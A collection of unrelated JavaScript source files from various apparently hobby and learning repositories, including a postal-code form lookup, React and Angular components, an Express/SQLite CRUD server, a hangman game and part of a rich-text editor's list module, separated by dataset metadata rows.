$("#bairroResponsavel").val("");
$("#cidadeResponsavel").val("");
$("#estadoResponsavel").val("");
}
//Quando o campo cep perde o foco.
$("#cepResponsavel").blur(function() {
//Nova variável "cep" somente com dígitos.
var cep = $(this).val().replace(/\D/g, '');
//Verifica se campo cep possui valor informado.
if (cep != "") {
//Expressão regular para validar o CEP.
var validacep = /^[0-9]{8}$/;
//Valida o formato do CEP.
if(validacep.test(cep)) {
//Preenche os campos com "..." enquanto consulta webservice.
$("#ruaResponsavel").val("Pesquisando a Rua...");
$("#bairroResponsavel").val("Pesquisando o seu Bairro...");
$("#cidadeResponsavel").val("Pesquisado a sua Cidade...");
$("#estadoResponsavel").val("Pesquisando o seu Estado...");
//Consulta o webservice viacep.com.br/
$.getJSON("https://viacep.com.br/ws/"+ cep +"/json/?callback=?", function(dados) {
if (!("erro" in dados)) {
//Atualiza os campos com os valores da consulta.
$("#ruaResponsavel").val(dados.logradouro);
$("#bairroResponsavel").val(dados.bairro);
$("#cidadeResponsavel").val(dados.localidade);
$("#estadoResponsavel").val(dados.uf);
} //end if.
else {
//CEP pesquisado não foi encontrado.
limpa_formulário_cep();
alert("CEP não encontrado.");
}
});
} //end if.
else {
//cep é inválido.
limpa_formulário_cep();
alert("Formato de CEP inválido.");
}
} //end if.
else {
//cep sem valor, limpa formulário.
limpa_formulário_cep();
}
});
});
jQuery(function($){
$.datepicker.regional['pt-BR'] = {
closeText: 'Fechar',
prevText: '<Anterior',
nextText: 'Próximo>',
currentText: 'Hoje',
monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho',
'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'],
monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun',
'Jul','Ago','Set','Out','Nov','Dez'],
dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sabado'],
dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sab'],
dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sab'],
weekHeader: 'Sm',
dateFormat: 'dd/mm/yy',
firstDay: 0,
isRTL: false,
changeMonth: true,
changeYear: true,
yearRange: '1950:2013',
showMonthAfterYear: false,
yearSuffix: ''};
$.datepicker.setDefaults($.datepicker.regional['pt-BR']);
});
//Jquery para entrada de datas
$(document).ready(function(){
$( "#datepicker" ).datepicker($.datepicker.regional["pt-BR"]);
});
//Botão de
$(document).ready(function(){
$("#criarPerfil").submit(function(){
alert("Submssão realizada com sucesso!");
});
});
$(document).ready(function () {
$('.btn').click(function() {
checked = $("input[type=checkbox]:checked").length;
if(!checked) {
alert("Precisa indicar qual o tipo de dependencia!");
$('#combobox').focus();
return false;
}
});
});
//
// Testando a validação usando jQuery
$(function(){
// ## EXEMPLO 2
// Aciona a validação ao sair do input
$('#cpf').blur(function(){
// O CPF ou CNPJ
var cpf_cnpj = $(this).val();
// Testa a validação
if ( valida_cpf_cnpj( cpf_cnpj ) ) {
alert('CPF Valido');
} else {
alert('CPF ou CNPJ inválido!');
}
});
});
| true |
90a07d20c27be4424f51e8e04f074b46aa472114
|
JavaScript
|
vanderSangen88/Udemy-AngularJS-MasterClass
|
/03.16 Controllers - I am Javascript, I can Handle the Business Logic/app.js
|
UTF-8
| 819 | 3.0625 | 3 |
[] |
no_license
|
(function() {
var name = "myApp",
requires = [];
myApp = null;
myApp = angular.module(name, requires);
myApp.service("addSvc", function(){
this.add = function(firstNum, secondNum){
return parseInt(firstNum) + parseInt(secondNum);
}
});
myApp.service("subtractSvc", function(){
this.subtract = function(firstNum, secondNum){
return parseInt(firstNum) - parseInt(secondNum);
}
});
myApp.controller("AppCtrl", function(addSvc, subtractSvc){
this.operator = "+";
this.setOperation = function(operator){
this.operator = operator;
}
this.calculate = function(firstNum, secondNum) {
if (this.operator === "+"){
this.result = addSvc.add(firstNum, secondNum);
} else if (this.operator === "-") {
this.result = subtractSvc.subtract(firstNum, secondNum);
}
}
});
}());
| true |
a7cbe868a13618e215d0bf86781e7cda090a0b99
|
JavaScript
|
NissanGoldberg/Learn2CodeApp
|
/server/loaders/loader.js
|
UTF-8
| 1,407 | 2.515625 | 3 |
[] |
no_license
|
const {admin} = require('../config/firebase.config')
const db = admin.firestore();
let questionList = {};
let userScoreList = {};
let assignmentList = {};
let assignmentListForDropdown = new Array(5);
async function getQuestions() {
const snapshot = await db.collection('questions').get();
snapshot.forEach((doc) => {
questionList[doc.id] = doc.data()
});
const snapshot2 = await db.collection('hw_questions').get();
snapshot2.forEach((doc) => {
assignmentList[doc.id] = doc.data()
let curr_doc_id = parseInt(doc.id.split("_")[0]) - 1
// TODO add assignmentListForDropdown
});
}
// getQuestions();
const getQuestion = (lesson, exnum) => {
const questionId = "l" + lesson + "ex" + exnum;
return questionList[questionId];
}
const getAssignment = (assignment, partnum, subpartnum) => {
const questionId = assignment + "_" + partnum + "_" + subpartnum ;
return assignmentList[questionId];
}
async function getUserProfiles() {
const snapshot = await db.collection('users').get();
snapshot.forEach((doc) => {
userScoreList[doc.id + ""] = doc.data()
});
console.log(getUserProfiles)
console.log(userScoreList)
}
// getUserProfiles();
module.exports = {
userScoreList,
questionList,
assignmentList,
getQuestion,
getAssignment,
getQuestions,
getUserProfiles,
getQuestions
}
| true |
90723c40d705ed8da0fbfa89f3a762a942052ac4
|
JavaScript
|
InterviewCandies/auto-suggestion-box
|
/assets/js/model.js
|
UTF-8
| 2,059 | 2.859375 | 3 |
[] |
no_license
|
export class Suggestion {
constructor(term, url) {
this.term = term;
this.url = url;
}
static filter(suggestions, userData) {
return suggestions
.filter((data) => {
return data.Term.toLocaleLowerCase().includes(
userData.toLocaleLowerCase()
);
})
.map((data) => {
let pos = data.Term.toLocaleLowerCase().indexOf(
userData.toLocaleLowerCase()
);
return (
data.Term.substr(0, pos) +
"<strong>" +
data.Term.substr(pos, userData.length) +
"</strong>" +
data.Term.substr(pos + userData.length, data.length)
);
});
}
static display(items) {
return items.map((data) => {
return (data = "<li>" + data + "</li>");
});
}
}
export class Collection extends Suggestion {
constructor(id, title, url) {
super(url);
this.id = id;
this.url = url;
this.title = title;
}
static filter(suggestions, userData) {
return suggestions
.filter((data) => {
return data.Title.toLocaleLowerCase().includes(
userData.toLocaleLowerCase()
);
})
.map((data) => data.Title);
}
}
export class Product extends Collection {
constructor(id, title, url, brand, price, image) {
super(id, title, url);
this.brand = brand;
this.price = price;
this.image = image;
}
static filter(suggestions, userData) {
return suggestions.filter((data) => {
return data.Title.toLocaleLowerCase().includes(
userData.toLocaleLowerCase()
);
});
}
static display(items) {
return items.map((data) => {
return (
'<li class="product">' +
'<img src="' +
data.Image +
'" class="image" />' +
"<div>" +
'<p class="title">' +
data.Title +
"</p>" +
'<p class="brand">' +
data.Brand +
"</p>" +
'<p class="price">' +
data.Price +
"</p>" +
"</div>" +
"</li>"
);
});
}
}
| true |
f8e9e6d6d8a9d37aad448f81317a7cd31c94d9aa
|
JavaScript
|
romunoff/StudyReact
|
/namechanger/src/components/App/index.js
|
UTF-8
| 1,481 | 2.671875 | 3 |
[] |
no_license
|
import React, {useState, useEffect} from 'react'
import View from '../View'
import Change from '../Change'
import './style.css'
export default function App() {
const [isVisible, setVisible] = useState(true)
const [background, setBackground] = useState('white')
const [users, setUsers] = useState([])
useEffect(() => {
fetch(" http://localhost:3000/users.json")
.then(response => response.json())
.then(users => {
setUsers(users.users)
})
}, [])
const handleClick = () => {
if (isVisible) {
setVisible(!isVisible)
} else {
setBackground('#47e2a1')
setTimeout(() => {
setBackground('white')
}, 2000)
setTimeout(() => {
setVisible(!isVisible)
}, 4000)
}
}
const deleteClick = username => {
setUsers(users.filter(element => element.username !== username))
}
return (
<div className="wrapper">
<div className="column">
<div className="div-message" style={{background: background}}>User is saved!</div>
<div className="card">
<h1 className="title">Name</h1>
{ isVisible ? <View onClick = {handleClick} onDeleteClick = {deleteClick} users = {users} /> : <Change onClick = {handleClick} /> }
</div>
</div>
</div>
)
}
| true |
7b207050d455055abaa25b99d1337ec15fa8f634
|
JavaScript
|
andrasq420/web1beadando
|
/app/src/Adatok.js
|
UTF-8
| 2,575 | 2.765625 | 3 |
[] |
no_license
|
import React, { useState,useEffect, useReducer } from "react";
import axios from "axios";
import Counter from "./ageButton";
export default function Adatok() {
const [value, setValue] = useState("0");
const [klub, setKlub] = useState([]);
const [name, setName] = useState("");
useEffect(() => {
const fetchData = async () => {
const {data: { clubs } } = await axios(
"https://raw.githubusercontent.com/openfootball/football.json/master/2020-21/en.1.clubs.json" );
setKlub(clubs);
//console.log(clubs);
}
fetchData()
}, [])
if (klub.length <= 0) {
return "Loading..."
}
const changeName = (e) => {
setName(e.target.value);
//console.log(name);
}
function fillStorage() {
var x = document.getElementById("teams");
var y = document.getElementById("nev");
localStorage.setItem('name', y.value);
localStorage.setItem('team', x.options[x.selectedIndex].text);
}
return (
<div>
<form>
Név: <input id ="nev"placeholder = "A te neved" onChange = {changeName} />
<label for="teams">Kedvenc csapat: </label>
<select name="teams" id="teams">
<option value="1">{klub[0].name}</option>
<option value="2">{klub[1].name}</option>
<option value="3">{klub[2].name}</option>
<option value="4">{klub[3].name}</option>
<option value="5">{klub[4].name}</option>
<option value="6">{klub[5].name}</option>
<option value="7">{klub[6].name}</option>
<option value="8">{klub[7].name}</option>
<option value="9">{klub[8].name}</option>
<option value="10">{klub[9].name}</option>
<option value="11">{klub[10].name}</option>
<option value="12">{klub[11].name}</option>
<option value="13">{klub[12].name}</option>
<option value="14">{klub[13].name}</option>
<option value="15">{klub[14].name}</option>
<option value="16">{klub[15].name}</option>
<option value="17">{klub[16].name}</option>
<option value="18">{klub[17].name}</option>
<option value="19">{klub[18].name}</option>
<option value="20">{klub[19].name}</option>
</select>
<button onClick = {fillStorage}
>Ok</button>
</form>
</div>
)
}
| true |
c61dbfe98b4db0f721f0f6981fbea12c19da8e4f
|
JavaScript
|
ajaysharma12799/it-logger-frontend
|
/src/reducers/logReducer.js
|
UTF-8
| 1,599 | 2.546875 | 3 |
[] |
no_license
|
import {GET_LOGS, SET_LOADING, LOGS_ERROR, ADD_LOGS, DELETE_LOGS, UPDATE_LOGS, SET_CURRENT, CLEAR_CURRENT, SEARCH_LOGS} from "../actions/types";
const initialState = {
logs: null,
current: null,
loading: false,
error: null
};
// eslint-disable-next-line import/no-anonymous-default-export
export default (state = initialState, action) => {
const {type, payload} = action;
switch (type) {
case SET_LOADING:
return { ...state, loading: true }
case GET_LOGS:
return { ...state, logs: payload, loading: false }
case ADD_LOGS:
console.log(state.logs)
console.log(payload);
return {...state, logs: [...state.logs, payload], loading: false}
case DELETE_LOGS:
return {
...state,
logs: state.logs.filter(log => log._id !== payload),
loading: false,
}
case UPDATE_LOGS:
return {
...state,
logs: state.logs.map((log) => log._id === payload._id ? payload : log),
loading: false
}
case SET_CURRENT:
return {...state, current: payload}
case CLEAR_CURRENT:
return {...state, current: null}
case SEARCH_LOGS:
return {
...state,
logs: payload
};
case LOGS_ERROR:
console.error(payload);
return {...state, error: payload}
default:
return state;
}
}
| true |
9c4ba4c03c7c62ed52d256dc2e33ba66ce181ab9
|
JavaScript
|
hugoleonardodev/trybe-exercises
|
/introduction-web-development/block_4/day_3/exercise_2.js
|
UTF-8
| 297 | 3.75 | 4 |
[] |
no_license
|
var n = 5;
for (var index = 0; index < 1; index++){
var linhaDeAsteriscos = "";
for (var linha = n; linha > 0; linha--){
linhaDeAsteriscos += " *";
console.log(linhaDeAsteriscos);
}
}
// imprime um triângulo de asterisicos com parâmentro n igual a um número inteiro
| true |
8c8ecebf7aca156ca9d293ffd14974fe4039fcf1
|
JavaScript
|
TheRedstoneTaco/theredstonetaco.com
|
/public/scripts/portfolio.js
|
UTF-8
| 4,356 | 2.890625 | 3 |
[] |
no_license
|
var knowledges = ['Semantic UI', 'Bootstrap 4', 'jQuery', 'AJAX', 'NodeJS', 'Mongoose', 'Express']
// on ready
$(document).ready(function() {
// animate landing section
animate_landing();
// who needs default Skype API settings, anyway?!?
// who needs actual css, anyway!??!?
undoBadStuff();
// allow people to like the page!
initLiking();
// knowledge section stuff
init_knowledge();
});
// animate landing section
function animate_landing() {
var views = $("#stats_views_count");
var likes = $("#stats_likes_count");
var viewCount = parseInt(views.text());
var likeCount = parseInt(likes.text());
views.text(0);
likes.text(0);
var tmpViews = 0;
var tmpLikes = 0;
var fillFps = 20;
var secondsToFill = 2;
var viewsIncrementBy = Math.floor(((viewCount - 1) / fillFps) * (1 / secondsToFill)) + 1;
var likesIncrementBy = Math.floor(((likeCount - 1) / fillFps) * (1 / secondsToFill)) + 1;
var viewFiller = setInterval(function() {
tmpViews += viewsIncrementBy;
if (tmpViews >= viewCount) {
clearInterval(viewFiller);
tmpViews -= viewsIncrementBy;
var viewFiller_slow = setInterval(function() {
tmpViews ++;
if (tmpViews >= viewCount) {
clearInterval(viewFiller_slow)
$("#stats_views").addClass("animated tada");
}
views.text(tmpViews);
}, 1000 / fillFps);
}
views.text(tmpViews);
}, 1000 / fillFps);
var likeFiller = setInterval(function() {
tmpLikes += likesIncrementBy;
if (tmpLikes >= likeCount) {
clearInterval(likeFiller);
tmpLikes -= likesIncrementBy;
var likeFiller_slow = setInterval(function() {
tmpLikes ++;
if (tmpLikes >= likeCount) {
clearInterval(likeFiller_slow);
$("#stats_likes").addClass("animated tada");
}
likes.text(tmpLikes);
}, 1000 / fillFps);
}
likes.text(tmpLikes);
}, 1000 / fillFps);
}
function undoBadStuff() {
// manually set skype button text
setTimeout(function() {
$(".lwc-chat-button").text("Skype Me! :)");
}, 1000);
// manually set #stats height, couldn't figure out positioning stuff
$("#stats").height($("#landing").height());
}
function initLiking() {
// when form submits
$(".like-form").submit(function(e) {
// dont refresh the page
e.preventDefault();
// if we don't want more of this nonsense, stop it here
if (this.like_doSubmit == "no") {
return;
}
// stop nonsense after first offense
this.like_doSubmit = "no";
// show them, DO NOT do that nonsense again
$("#stats_likes").css("background-color", "#333333").css("color", "red");
$("#stats_likes_count").text(parseInt($("#stats_likes_count").text()) + 1);
$("#stats_likes").css("cursor", "not-allowed");
$("#stats_likes_info").text("You liked the page!");
// do some nonsense on the database
$.ajax({
url: document.querySelector(".like-form").action,
type: "PUT",
error: function (jXHR, textStatus, errorThrown) {
console.log(errorThrown);
},
success: function(data, textStatus, jXHR) {
console.log(data, textStatus, jXHR);
}
});
// make it look like it updated without refreshing the page
var likeCounters = $(".landing_stats_likes_count");
likeCounters.text(parseInt($(likeCounters[0]).text()) + 1);
// make it not look like it will allow any more submissions
$(".landing_stats_likes").addClass("disabled");
$(".landing_stats_likes_info").text("YOU HAVE LIKED THIS PAGE!").css("color", "red");
});
}
function init_knowledge() {
var knowledge_carousel = $(".main-carousel").flickity({
wrapAround: true,
contain: true,
accessibility: true,
pageDots: true
});
var w = $('.img-div').width();
var h = $('.img-div').height();
var lesser = ((w < h) * w) + ((w > h) * h);
$("#knowledge_carousel .carousel-cell .img-div img")
// .width(lesser)
// .height(lesser);
$('#knowledge_carousel_text').text(knowledges[0]);
knowledge_carousel.on('select.flickity', function(event, index) {
$('#knowledge_carousel_text').text(knowledges[index]);
});
}
| true |
dbac778d00a4677266ea085e540fc0a69e06089b
|
JavaScript
|
intfoundation/intchain-wallet
|
/api/chainlib/Coins/undocoins.js
|
UTF-8
| 2,725 | 2.65625 | 3 |
[
"MIT"
] |
permissive
|
/*!
* undocoins.js - undocoins object for bcoin
* Copyright (c) 2014-2017, Christopher Jeffrey (MIT License).
* https://github.com/bcoin-org/bcoin
*/
'use strict';
const assert = require('assert');
const BufferReader = require('../Utils/reader');
const StaticWriter = require('../Utils/staticwriter');
const CoinEntry = require('../Coins/coinentry');
/**
* UndoCoins
* Coins need to be resurrected from somewhere
* during a reorg. The undo coins store all
* spent coins in a single record per block
* (in a compressed format).
* @alias module:coins.UndoCoins
* @constructor
* @property {UndoCoin[]} items
*/
class UndoCoins {
constructor() {
if (!(this instanceof UndoCoins))
return new UndoCoins();
this.items = [];
}
/**
* Push coin entry onto undo coin array.
* @param {CoinEntry}
* @returns {Number}
*/
push(coin) {
return this.items.push(coin);
}
/**
* Calculate undo coins size.
* @returns {Number}
*/
getSize() {
let size = 0;
size += 4;
for (const coin of this.items)
size += coin.getSize();
return size;
}
/**
* Serialize all undo coins.
* @returns {Buffer}
*/
toRaw() {
const size = this.getSize();
const bw = new StaticWriter(size);
bw.writeU32(this.items.length);
for (const coin of this.items)
coin.toWriter(bw);
return bw.render();
}
/**
* Inject properties from serialized data.
* @private
* @param {Buffer} data
* @returns {UndoCoins}
*/
fromRaw(data) {
const br = new BufferReader(data);
const count = br.readU32();
for (let i = 0; i < count; i++)
this.items.push(CoinEntry.fromReader(br));
return this;
}
/**
* Instantiate undo coins from serialized data.
* @param {Buffer} data
* @returns {UndoCoins}
*/
static fromRaw(data) {
return new UndoCoins().fromRaw(data);
}
/**
* Test whether the undo coins have any members.
* @returns {Boolean}
*/
isEmpty() {
return this.items.length === 0;
}
/**
* Render the undo coins.
* @returns {Buffer}
*/
commit() {
const raw = this.toRaw();
this.items.length = 0;
return raw;
}
/**
* Re-apply undo coins to a view, effectively unspending them.
* @param {CoinView} view
* @param {Outpoint} prevout
*/
apply(view, prevout) {
const undo = this.items.pop();
assert(undo);
view.addEntry(prevout, undo);
}
}
/*
* Expose
*/
module.exports = UndoCoins;
| true |
b688aca48375d877b906892f3952c22964ec239f
|
JavaScript
|
luisaGonzales/elAhorcado
|
/El ahorcado/ahorcado.js
|
UTF-8
| 3,299 | 3.28125 | 3 |
[] |
no_license
|
//Para poder ver el proceso del juego, es necesaria la consola
function obtenerPalabraSecreta() {
var libreriaPalabras = ["m u l t i m e d i a", "i n t e r n a u t a", "s e r v i d o r", "p r o t o c o l o", "c o r t a f u e g o s",
"n a v e g a d o r", "n o d o", "m a r c o", "p a g i n a", "t e l a r a ñ a",
"d e s c a r g a r", "v i r t u a l", "m e m o r i a", "d i s c o", "l o c a l",
"c o n e c t a r", "d e s c o n e c t a r", "e n c a m i n a d o r", "i n t e r n e t", "d o m i n i o",
"d i n a m i c o", "h i p e r v i n c u l o", "e n l a c e", "m a r c a d o r", "o r d e n a d o r", "l a p i z", "o f i m a t i c a", "i n f o r m e" ];
var indice = Math.round ( Math.random() * 27 )
var cadena = new String( libreriaPalabras[indice] )
var palabra = cadena.split(" ")
return palabra;
}
var hombre = [ "________\n",
" |\n",
" |\n",
" |\n",
" O\n",
" /|\\\n",
" / \\\n",
" \n",
" \n",
"________\n"];
var palabra = obtenerPalabraSecreta ();
//Declaramos un array para poder compararlo
var palabraAdivinar = adivinarPalabra(palabra);
//Hacemos una función que nos entregue los valores de la palabra para adivinar en x
function adivinarPalabra (palabra){
var x = [];
for (var i = 0; i < palabra.length; i++){
x[i] = "*";
}
return x;
}
console.log(adivinarPalabra(palabra));
//Una función que devuelve el valor booleano cuando compara las palabras
function compararPalabra (palabra, palabraAdivinar){
var palabraString = palabra.toString().replace(/,/g,"");
var palabraAdivinarString = palabraAdivinar.toString().replace(/,/g,"");
if (palabraString == palabraAdivinarString){
return true;
} else {
return false;
}
}
//Función que determinar el juego
function intentos(palabra){
var n = 0;
for (var i = 0; n < 10; i++){
var bo = false;
var user = prompt("Lo has intentado " + (parseInt(i)+1) + " veces \n Ingresa aquí la posible letra");
for (var j = 0; j < palabra.length; j++){
if(user.toLowerCase() == palabra[j]){
bo = true;
palabraAdivinar[j] = user;
console.log("Sí! ¡Correcto! \n Palabra: " + palabraAdivinar.toString().replace(/,/g," "));
}
}
if(bo == false){
n += 1;
console.log("¡Incorrecto!, vas a matar a un hombre :( \n Sigue intentando y sálvalo \n" + hombre.slice(0,n));
}
if(compararPalabra(palabra, palabraAdivinar) == true){
alert("Felicitaciones, ganaste! :)");
console.log("Felicitaciones, ganaste! :)");
break;
}
else if ((n==10) && (compararPalabra(palabra, palabraAdivinar) == false)){
alert("Lo siento, mataste a un hombre :(");
console.log("Lo siento, mataste a un hombre :( \n" + hombre + "\n La palabra era " + palabra.toString().replace(/,/g, " "));
}
}
}
//Función para poder comenzar el juego
function jugar (){
alert("Hola, adivina la siguiente palabra \n" + palabraAdivinar.toString().replace(/,/g, " "));
console.log("Hola, adivina la siguiente palabra \n" + palabraAdivinar.toString().replace(/,/g, " "));
intentos(palabra);
}
jugar();
| true |
8fde6d000204f5c90ccb9786405710820e527b9b
|
JavaScript
|
nathanielop/fluxduct
|
/src/functions/parse.js
|
UTF-8
| 665 | 2.5625 | 3 |
[
"MIT"
] |
permissive
|
import operators from '../constants/operators.js';
import FluxductError from '../constants/fluxduct-error.js';
export default (dictionary = {}, obj) => {
const throwError = type => {
throw new FluxductError(type, { dictionary, obj });
}
if (!(obj instanceof Object)) throwError('expectedObject');
if (!Object.keys(obj).length) return null;
const evaluatedExpressions = Object.entries(obj).reduce((arr, [operator, args]) => (!args.length) ? arr : arr.concat(operators[operator](dictionary, args)), []);
if (!evaluatedExpressions.length) return null;
return evaluatedExpressions.length === 1 ? evaluatedExpressions[0] : evaluatedExpressions;
}
| true |
78893b7978f1b5a5439fa59942cc5a3d745169a8
|
JavaScript
|
mcstol/gercontas-app
|
/src/component/Listar/index.js
|
UTF-8
| 847 | 2.578125 | 3 |
[] |
no_license
|
import React from "react";
import './style.css'
export const Bills = ({id, type, value, onRemove, onUpdate }) => {
const onClick = () => onRemove(id)
const onAtualizar = () => onUpdate({id, type, value})
return(
<tr>
<td>{id}</td> <td>{type}</td><td>{value}</td>
<td><button onClick={onAtualizar}>Atualizar</button></td>
<td><button onClick={onClick}>Remover</button></td>
</tr>
)
}
export const Listar = ({ bills, onRemove, onUpdate }) =>{
console.log(bills)
return (
<section>
<h2>Contas</h2>
<table>
<tbody>
{bills.map((item) =>(
<Bills key={item.id} {...item} onRemove={onRemove} onUpdate={onUpdate}/>
))}
</tbody>
</table>
<ul>
</ul>
</section>
);
}
| true |
482d4884b3c79a48f3aa26e8ec7d58a33bd47bf7
|
JavaScript
|
beersy001/cskplay
|
/app/webroot/js/cameraFlashes.js
|
UTF-8
| 593 | 2.65625 | 3 |
[] |
no_license
|
function runCameraFlashes(delay){
return setInterval(function(){
var randomFlashId = Math.floor(Math.random() * 24) + 1;
var count = 0;
var flashElement = document.getElementById("flash" + randomFlashId);
flashElement.style.display = "none";
var intervalId = setInterval(function(){
if(count < 2){
if(flashElement.style.display == "none"){
flashElement.style.display = "block";
} else{
flashElement.style.display = "none";
}
count++;
}else{
flashElement.style.display = "none";
clearInterval(intervalId);
}
},200);
},delay);
}
| true |
403f7f70923235f0f2e31f2479e9a9cdf33a49d0
|
JavaScript
|
markmosterd/mosterd.online
|
/js/main.js
|
UTF-8
| 1,439 | 2.609375 | 3 |
[] |
no_license
|
// Wait for DOM (Document Object Model) to load, that's just your website (excluding external files like images)
$(document).ready(function(){
// Click the hamburger icon
$('.toggle-mobile-menu').click(function(){
// Show the mobile menu
$('#mobile-menu').toggleClass('mobile-menu-visible');
});
// Check if .element is on page
if ( 0 !== $('.element').length ) {
// Typed.js
var typed = new Typed('.element', {
strings: ["MOSTERD.online^7000"],
typeSpeed: 100,
loop: true,
backSpeed: 40,
showCursor: true
});
}
});
// Wait for window to load, including all images
$(window).on('load', function () {
// Check if image is on page
if ( 0 !== $('#scene').length ) {
// Parallax.js
var scene = document.getElementById('scene'),
parallax = new Parallax(scene);
}
$('.flexslider').flexslider({
// Customize flexslider properties
animation: "slide",
slideshowSpeed: 5000,
animationSpeed: 1000,
slideshow: false,
directionNav: false,
start: function() {
$('#testimonials-arrow-left').on('click', function(event){
event.preventDefault();
$('.flexslider').flexslider('prev');
});
$('#testimonials-arrow-right').on('click', function(event){
event.preventDefault();
$('.flexslider').flexslider('next');
});
}
});
});
| true |
73d73d1943c41c85c0f68fc92adb9524b473cccc
|
JavaScript
|
nvincenthill/projectEulerSolutions
|
/digitFifthPowers.js
|
UTF-8
| 867 | 4.25 | 4 |
[] |
no_license
|
// Surprisingly there are only three numbers that can be written as the sum of fourth powers of their digits:
// 1634 = 1^4 + 6^4 + 3^4 + 4^4
// 8208 = 8^4 + 2^4 + 0^4 + 8^4
// 9474 = 9^4 + 4^4 + 7^4 + 4^4
// As 1 = 1^4 is not a sum it is not included.
// The sum of these numbers is 1634 + 8208 + 9474 = 19316.
// Find the sum of all the numbers that can be written as the sum of fifth powers of their digits.
const findAllPowNums = (max, pow) => {
let sum = 0;
for (let i = 2; i < max; i += 1) {
if (digitSumEqualsNum(i, 5)) {
sum += i;
}
}
return sum;
};
const digitSumEqualsNum = (num, power) => {
let digits = num.toString();
let sum = 0;
for (let i = 0; i < digits.length; i += 1) {
sum += Math.pow(Number(digits[i]), power);
}
return num === sum;
};
// tests
// console.log(findAllPowNums(10000000, 5)); // 443839
| true |
3eb1e8f46e316626a4ac6ac9a2a6a5e5824f5bc2
|
JavaScript
|
FransEkstrand/d18prototyp
|
/2020/personlista/index.js
|
UTF-8
| 3,270 | 2.578125 | 3 |
[] |
no_license
|
const express = require('express')
const sqlite3 = require('sqlite3').verbose();
const {
query
} = require('express');
const app = express()
const port = 3000
let bodyParser = require('body-parser');
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(express.static('public'))
let db = new sqlite3.Database('./databasforschool.db', (err) => {
if (err) {
console.error(err.message);
}
console.log('Connected to the chinook database.');
});
// -------------------------------------------------------------------
// ----------------------------- GET DATA PERSONS --------------------
// -------------------------------------------------------------------
app.get('/getpersons', function (req, res) {
let query = `SELECT * FROM persons`
db.all(query, function (err, rows) {
if (err) {
res.json(err.message)
}
res.json(rows)
})
})
// -------------------------------------------------------------------
// ----------------------------- GET PERSON --------------------------
// -------------------------------------------------------------------
app.get('/getperson/:id', function (req, res) {
let query = `SELECT * FROM persons WHERE id=?`
db.get(query, [req.params.id], function (err, row) {
res.json(row)
})
})
// -------------------------------------------------------------------
// ----------------------------- ADD PERSON --------------------------
// -------------------------------------------------------------------
app.post('/insertperson', function (req, res) {
let query = `INSERT INTO persons(firstname, lastname) VALUES(?,?)`
db.run(query, [req.body.firstname, req.body.lastname], function (err) {
if (err) {
res.json({
message: err.message
})
}
res.json({
message: `Person inserted with id ${this.lastID}`
})
})
})
// -------------------------------------------------------------------
// ----------------------------- UPDATE PERSON -----------------------
// -------------------------------------------------------------------
app.post('/updateperson/:id', (req, res) => {
let query = `UPDATE persons SET firstname =?, lastname =? WHERE id =?`
db.run(query, [req.body.firstname, req.body.lastname, req.body.id], function (err) {
if (err) {
res.json(err.message)
}
let num = this.changes
res.json({
message: `Rows updated: ${num}`
})
})
})
// -------------------------------------------------------------------
// ------------------------------ REMOVE PERSON ----------------------
// -------------------------------------------------------------------
app.get('/deleteperson/:id', (req, res) => {
let query = `DELETE FROM persons WHERE id =?`
db.run(query, [req.params.id], function (err) {
if (err) {
res.json({
message: err.message
})
}
res.json({
message: 'ok'
})
})
})
app.get('*', (req, res) => {
res.send('404')
})
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
});
| true |
6352e40f1447f0902d8f40402813b54c65979874
|
JavaScript
|
sammyne/2016-learning-javascript-3ed
|
/chapter10/map/entries.js
|
UTF-8
| 833 | 4.0625 | 4 |
[] |
no_license
|
'use strict';
const u1 = {
name: 'Cynthia'
};
const u2 = {
name: 'Jackson'
};
const u3 = {
name: 'Olive'
};
//const userRoles = new Map();
const userRoles = new Map([
[u1, 'User'],
[u2, 'User'],
[u3, 'Admin'],
]);
for (let e of userRoles.entries()) {
console.log(`${e[0].name} -> ${e[1]}`);
}
// output
// Cynthia -> User
// Jackson -> User
// Olive -> Admin
// note that we can use destructuring to make // this iteration even more natural:
for (let [u, r] of userRoles.entries()) {
console.log(`${u.name}: ${r}`);
}
// output
// Cynthia: User
// Jackson: User
// Olive: Admin
// the entries() method is the default iterator for // a Map, so you can shorten the previous example to:
for (let [u, r] of userRoles) {
console.log(`${u.name}: ${r}`);
}
// output
// Cynthia: User
// Jackson: User
// Olive: Admin
| true |
991ce5f09e280cae52f6339abd0027c55e3a8043
|
JavaScript
|
Achiever667/karima
|
/vendor/summernote/src/js/base/editing/Bullet.js
|
UTF-8
| 6,865 | 2.796875 | 3 |
[
"MIT"
] |
permissive
|
define([
'summernote/base/core/list',
'summernote/base/core/func',
'summernote/base/core/dom',
'summernote/base/core/range'
], function (list, func, dom, range) {
/**
* @class editing.Bullet
*
* @alternateClassName Bullet
*/
var Bullet = function () {
var self = this;
/**
* toggle ordered list
*/
this.insertOrderedList = function (editable) {
this.toggleList('OL', editable);
};
/**
* toggle unordered list
*/
this.insertUnorderedList = function (editable) {
this.toggleList('UL', editable);
};
/**
* indent
*/
this.indent = function (editable) {
var self = this;
var rng = range.create(editable).wrapBodyInlineWithPara();
var paras = rng.nodes(dom.isPara, { includeAncestor: true });
var clustereds = list.clusterBy(paras, func.peq2('parentNode'));
$.each(clustereds, function (idx, paras) {
var head = list.head(paras);
if (dom.isLi(head)) {
self.wrapList(paras, head.parentNode.nodeName);
} else {
$.each(paras, function (idx, para) {
$(para).css('marginLeft', function (idx, val) {
return (parseInt(val, 10) || 0) + 25;
});
});
}
});
rng.select();
};
/**
* outdent
*/
this.outdent = function (editable) {
var self = this;
var rng = range.create(editable).wrapBodyInlineWithPara();
var paras = rng.nodes(dom.isPara, { includeAncestor: true });
var clustereds = list.clusterBy(paras, func.peq2('parentNode'));
$.each(clustereds, function (idx, paras) {
var head = list.head(paras);
if (dom.isLi(head)) {
self.releaseList([paras]);
} else {
$.each(paras, function (idx, para) {
$(para).css('marginLeft', function (idx, val) {
val = (parseInt(val, 10) || 0);
return val > 25 ? val - 25 : '';
});
});
}
});
rng.select();
};
/**
* toggle list
*
* @param {String} listName - OL or UL
*/
